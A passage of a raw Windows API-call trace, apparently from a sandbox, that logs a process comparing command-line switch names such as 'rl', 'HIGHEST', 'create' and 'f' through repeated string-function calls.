lpSrch="|rl|") returned 0x0 [0064.337] SetLastError (dwErrCode=0x490) [0064.337] lstrlenW (lpString="?") returned 1 [0064.337] lstrlenW (lpString="?") returned 1 [0064.337] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.338] lstrlenW (lpString="rl") returned 2 [0064.338] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.338] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|?|") returned 3 [0064.338] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.338] lstrlenW (lpString="|?|") returned 3 [0064.338] lstrlenW (lpString="|rl|") returned 4 [0064.338] SetLastError (dwErrCode=0x490) [0064.338] lstrlenW (lpString="s") returned 1 [0064.338] lstrlenW (lpString="s") returned 1 [0064.338] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.338] lstrlenW (lpString="rl") returned 2 [0064.338] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.338] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|s|") returned 3 [0064.338] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.338] lstrlenW (lpString="|s|") returned 3 [0064.338] lstrlenW (lpString="|rl|") returned 4 [0064.338] SetLastError (dwErrCode=0x490) [0064.338] lstrlenW (lpString="u") returned 1 [0064.338] lstrlenW (lpString="u") returned 1 [0064.338] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.338] lstrlenW (lpString="rl") returned 2 [0064.338] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.338] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|u|") returned 3 [0064.338] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.338] lstrlenW (lpString="|u|") returned 3 [0064.338] lstrlenW (lpString="|rl|") returned 4 [0064.338] SetLastError (dwErrCode=0x490) [0064.338] lstrlenW (lpString="p") returned 1 [0064.338] lstrlenW (lpString="p") returned 1 [0064.338] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.338] lstrlenW (lpString="rl") returned 2 [0064.338] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.339] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|p|") returned 3 [0064.339] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.339] lstrlenW (lpString="|p|") returned 3 [0064.339] lstrlenW (lpString="|rl|") returned 4 [0064.339] SetLastError (dwErrCode=0x490) [0064.339] lstrlenW (lpString="ru") returned 2 [0064.339] lstrlenW (lpString="ru") returned 2 [0064.339] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.339] lstrlenW (lpString="rl") returned 2 [0064.339] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.339] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ru|") returned 4 [0064.339] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.339] lstrlenW (lpString="|ru|") returned 4 [0064.339] lstrlenW (lpString="|rl|") returned 4 [0064.339] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0064.339] SetLastError (dwErrCode=0x490) [0064.339] lstrlenW (lpString="rp") returned 2 [0064.339] lstrlenW (lpString="rp") returned 2 [0064.339] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.339] lstrlenW (lpString="rl") returned 2 [0064.339] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.339] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rp|") returned 4 [0064.339] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.339] lstrlenW (lpString="|rp|") returned 4 [0064.339] lstrlenW (lpString="|rl|") returned 4 [0064.339] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0064.339] SetLastError (dwErrCode=0x490) [0064.339] lstrlenW (lpString="sc") returned 2 [0064.339] lstrlenW (lpString="sc") returned 2 [0064.339] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.339] lstrlenW (lpString="rl") returned 2 [0064.339] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.339] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.339] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.340] lstrlenW (lpString="|sc|") returned 4 [0064.340] lstrlenW (lpString="|rl|") returned 4 [0064.340] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0064.340] SetLastError (dwErrCode=0x490) [0064.340] lstrlenW (lpString="mo") returned 2 [0064.340] lstrlenW (lpString="mo") returned 2 [0064.340] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.340] lstrlenW (lpString="rl") returned 2 [0064.340] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.340] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|mo|") returned 4 [0064.340] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.340] lstrlenW (lpString="|mo|") returned 4 [0064.340] lstrlenW (lpString="|rl|") returned 4 [0064.340] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0064.340] SetLastError (dwErrCode=0x490) [0064.340] lstrlenW (lpString="d") returned 1 [0064.340] lstrlenW (lpString="d") returned 1 [0064.340] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.340] lstrlenW (lpString="rl") returned 2 [0064.340] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.340] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|d|") returned 3 [0064.340] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.340] lstrlenW (lpString="|d|") returned 3 [0064.340] lstrlenW (lpString="|rl|") returned 4 [0064.340] SetLastError (dwErrCode=0x490) [0064.340] lstrlenW (lpString="m") returned 1 [0064.340] lstrlenW (lpString="m") returned 1 [0064.340] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.340] lstrlenW (lpString="rl") returned 2 [0064.340] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.340] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|m|") returned 3 [0064.340] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.340] lstrlenW (lpString="|m|") returned 3 [0064.341] lstrlenW (lpString="|rl|") returned 4 [0064.341] SetLastError (dwErrCode=0x490) [0064.341] lstrlenW (lpString="i") returned 1 [0064.341] lstrlenW (lpString="i") returned 1 [0064.341] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.341] lstrlenW (lpString="rl") returned 2 [0064.341] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.341] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|i|") returned 3 [0064.341] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.341] lstrlenW (lpString="|i|") returned 3 [0064.341] lstrlenW (lpString="|rl|") returned 4 [0064.341] SetLastError (dwErrCode=0x490) [0064.341] lstrlenW (lpString="tn") returned 2 [0064.341] lstrlenW (lpString="tn") returned 2 [0064.341] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.341] lstrlenW (lpString="rl") returned 2 [0064.341] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.341] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.341] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.341] lstrlenW (lpString="|tn|") returned 4 [0064.341] lstrlenW (lpString="|rl|") returned 4 [0064.341] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0064.341] SetLastError (dwErrCode=0x490) [0064.341] lstrlenW (lpString="tr") returned 2 [0064.341] lstrlenW (lpString="tr") returned 2 [0064.341] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.341] lstrlenW (lpString="rl") returned 2 [0064.341] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.341] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.341] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.341] lstrlenW (lpString="|tr|") returned 4 [0064.341] lstrlenW (lpString="|rl|") returned 4 [0064.341] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0064.341] SetLastError (dwErrCode=0x490) [0064.342] lstrlenW (lpString="st") returned 2 [0064.342] lstrlenW (lpString="st") returned 2 [0064.342] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.342] lstrlenW (lpString="rl") returned 2 [0064.342] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.342] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|st|") returned 4 [0064.342] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.342] lstrlenW (lpString="|st|") returned 4 [0064.342] lstrlenW (lpString="|rl|") returned 4 [0064.342] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0064.342] SetLastError (dwErrCode=0x490) [0064.342] lstrlenW (lpString="sd") returned 2 [0064.342] lstrlenW (lpString="sd") returned 2 [0064.342] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.342] lstrlenW (lpString="rl") returned 2 [0064.342] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.360] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sd|") returned 4 [0064.360] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.360] lstrlenW (lpString="|sd|") returned 4 [0064.360] lstrlenW (lpString="|rl|") returned 4 [0064.360] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0064.360] SetLastError (dwErrCode=0x490) [0064.360] lstrlenW (lpString="ed") returned 2 [0064.360] lstrlenW (lpString="ed") returned 2 [0064.360] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.360] lstrlenW (lpString="rl") returned 2 [0064.360] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.360] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ed|") returned 4 [0064.360] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.360] lstrlenW (lpString="|ed|") returned 4 [0064.360] lstrlenW (lpString="|rl|") returned 4 [0064.360] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0064.360] SetLastError (dwErrCode=0x490) [0064.360] lstrlenW (lpString="it") returned 2 [0064.360] lstrlenW (lpString="it") returned 2 [0064.360] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.360] lstrlenW (lpString="rl") returned 2 [0064.360] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.360] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|it|") returned 4 [0064.360] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.360] lstrlenW (lpString="|it|") returned 4 [0064.360] lstrlenW (lpString="|rl|") returned 4 [0064.360] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0064.360] SetLastError (dwErrCode=0x490) [0064.360] lstrlenW (lpString="et") returned 2 [0064.361] lstrlenW (lpString="et") returned 2 [0064.361] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.361] lstrlenW (lpString="rl") returned 2 [0064.361] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.361] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|et|") returned 4 [0064.361] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.361] lstrlenW (lpString="|et|") returned 4 [0064.361] lstrlenW (lpString="|rl|") returned 4 [0064.361] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0064.361] SetLastError (dwErrCode=0x490) [0064.361] lstrlenW (lpString="k") returned 1 [0064.361] lstrlenW (lpString="k") returned 1 [0064.361] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.361] lstrlenW (lpString="rl") returned 2 [0064.361] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.361] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|k|") returned 3 [0064.361] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.361] lstrlenW (lpString="|k|") returned 3 [0064.361] lstrlenW (lpString="|rl|") returned 4 [0064.361] SetLastError (dwErrCode=0x490) [0064.361] lstrlenW (lpString="du") returned 2 [0064.361] lstrlenW (lpString="du") returned 2 [0064.361] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.361] lstrlenW (lpString="rl") returned 2 [0064.361] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.361] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|du|") returned 4 [0064.361] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.361] lstrlenW (lpString="|du|") returned 4 [0064.361] lstrlenW (lpString="|rl|") returned 4 [0064.361] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0064.361] SetLastError (dwErrCode=0x490) [0064.361] lstrlenW (lpString="ri") returned 2 [0064.361] lstrlenW (lpString="ri") returned 2 [0064.361] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.362] lstrlenW (lpString="rl") returned 2 [0064.362] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.362] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ri|") returned 4 [0064.362] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.362] lstrlenW (lpString="|ri|") returned 4 [0064.362] lstrlenW (lpString="|rl|") returned 4 [0064.362] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0064.362] SetLastError (dwErrCode=0x490) [0064.362] lstrlenW (lpString="z") returned 1 [0064.362] lstrlenW (lpString="z") returned 1 [0064.362] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.362] lstrlenW (lpString="rl") returned 2 [0064.362] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.362] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|z|") returned 3 [0064.362] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.362] lstrlenW (lpString="|z|") returned 3 [0064.362] lstrlenW (lpString="|rl|") returned 4 [0064.362] SetLastError (dwErrCode=0x490) [0064.362] lstrlenW (lpString="f") returned 1 [0064.362] lstrlenW (lpString="f") returned 1 [0064.362] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.362] lstrlenW (lpString="rl") returned 2 [0064.362] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.362] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.362] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.362] lstrlenW (lpString="|f|") returned 3 [0064.362] lstrlenW (lpString="|rl|") returned 4 [0064.362] SetLastError (dwErrCode=0x490) [0064.362] lstrlenW (lpString="v1") returned 2 [0064.362] lstrlenW (lpString="v1") returned 2 [0064.362] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.362] lstrlenW (lpString="rl") returned 2 [0064.363] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.363] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|v1|") returned 4 [0064.363] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.363] lstrlenW (lpString="|v1|") returned 4 [0064.363] lstrlenW (lpString="|rl|") returned 4 [0064.363] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0064.363] SetLastError (dwErrCode=0x490) [0064.363] lstrlenW (lpString="xml") returned 3 [0064.363] lstrlenW (lpString="xml") returned 3 [0064.363] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.363] lstrlenW (lpString="rl") returned 2 [0064.363] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.363] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|xml|") returned 5 [0064.363] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.363] lstrlenW (lpString="|xml|") returned 5 [0064.363] lstrlenW (lpString="|rl|") returned 4 [0064.363] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0064.363] SetLastError (dwErrCode=0x490) [0064.363] lstrlenW (lpString="ec") returned 2 [0064.363] lstrlenW (lpString="ec") returned 2 [0064.363] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.363] lstrlenW (lpString="rl") returned 2 [0064.363] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.363] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ec|") returned 4 [0064.363] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.363] lstrlenW (lpString="|ec|") returned 4 [0064.363] lstrlenW (lpString="|rl|") returned 4 [0064.363] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0064.363] SetLastError (dwErrCode=0x490) [0064.363] lstrlenW (lpString="rl") returned 2 [0064.363] lstrlenW (lpString="rl") returned 2 [0064.363] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.364] lstrlenW (lpString="rl") returned 2 [0064.364] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.364] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.364] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.364] lstrlenW (lpString="|rl|") returned 4 [0064.364] lstrlenW (lpString="|rl|") returned 4 [0064.364] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0064.364] SetLastError (dwErrCode=0x0) [0064.364] SetLastError (dwErrCode=0x0) [0064.364] lstrlenW (lpString="HIGHEST") returned 7 [0064.364] lstrlenW (lpString="-/") returned 2 [0064.364] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0064.364] SetLastError (dwErrCode=0x490) [0064.364] SetLastError (dwErrCode=0x490) [0064.364] SetLastError (dwErrCode=0x0) [0064.364] lstrlenW (lpString="HIGHEST") returned 7 [0064.364] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0064.364] SetLastError (dwErrCode=0x490) [0064.364] SetLastError (dwErrCode=0x0) [0064.364] _memicmp (_Buf1=0x23d6e0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.364] lstrlenW (lpString="HIGHEST") returned 7 [0064.364] lstrlenW (lpString="HIGHEST") returned 7 [0064.364] lstrlenW (lpString=" \x09") returned 2 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0064.364] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0064.364] GetLastError () returned 0x0 [0064.364] lstrlenW (lpString="HIGHEST") returned 7 [0064.364] lstrlenW (lpString="HIGHEST") returned 7 [0064.364] SetLastError (dwErrCode=0x0) [0064.364] SetLastError (dwErrCode=0x0) [0064.364] lstrlenW (lpString="/f") returned 2 [0064.365] lstrlenW (lpString="-/") returned 2 [0064.365] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.365] lstrlenW (lpString="create") returned 6 [0064.365] lstrlenW (lpString="create") returned 6 [0064.365] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.365] lstrlenW (lpString="f") returned 1 [0064.365] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.365] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|create|") returned 8 [0064.365] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.365] lstrlenW (lpString="|create|") returned 8 [0064.365] lstrlenW (lpString="|f|") returned 3 [0064.365] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0064.365] SetLastError (dwErrCode=0x490) [0064.365] lstrlenW (lpString="?") returned 1 [0064.365] lstrlenW (lpString="?") returned 1 [0064.365] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.365] lstrlenW (lpString="f") returned 1 [0064.365] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.365] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|?|") returned 3 [0064.365] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.365] lstrlenW (lpString="|?|") returned 3 [0064.365] lstrlenW (lpString="|f|") returned 3 [0064.365] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0064.365] SetLastError (dwErrCode=0x490) [0064.365] lstrlenW (lpString="s") returned 1 [0064.365] lstrlenW (lpString="s") returned 1 [0064.365] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.365] lstrlenW (lpString="f") returned 1 [0064.365] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.365] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|s|") returned 3 [0064.365] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.365] lstrlenW (lpString="|s|") returned 3 [0064.365] lstrlenW (lpString="|f|") returned 3 [0064.365] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0064.366] SetLastError (dwErrCode=0x490) [0064.366] lstrlenW (lpString="u") returned 1 [0064.366] lstrlenW (lpString="u") returned 1 [0064.366] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.366] lstrlenW (lpString="f") returned 1 [0064.366] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.366] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|u|") returned 3 [0064.366] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.366] lstrlenW (lpString="|u|") returned 3 [0064.366] lstrlenW (lpString="|f|") returned 3 [0064.366] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0064.366] SetLastError (dwErrCode=0x490) [0064.366] lstrlenW (lpString="p") returned 1 [0064.366] lstrlenW (lpString="p") returned 1 [0064.366] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.366] lstrlenW (lpString="f") returned 1 [0064.366] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.366] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|p|") returned 3 [0064.366] 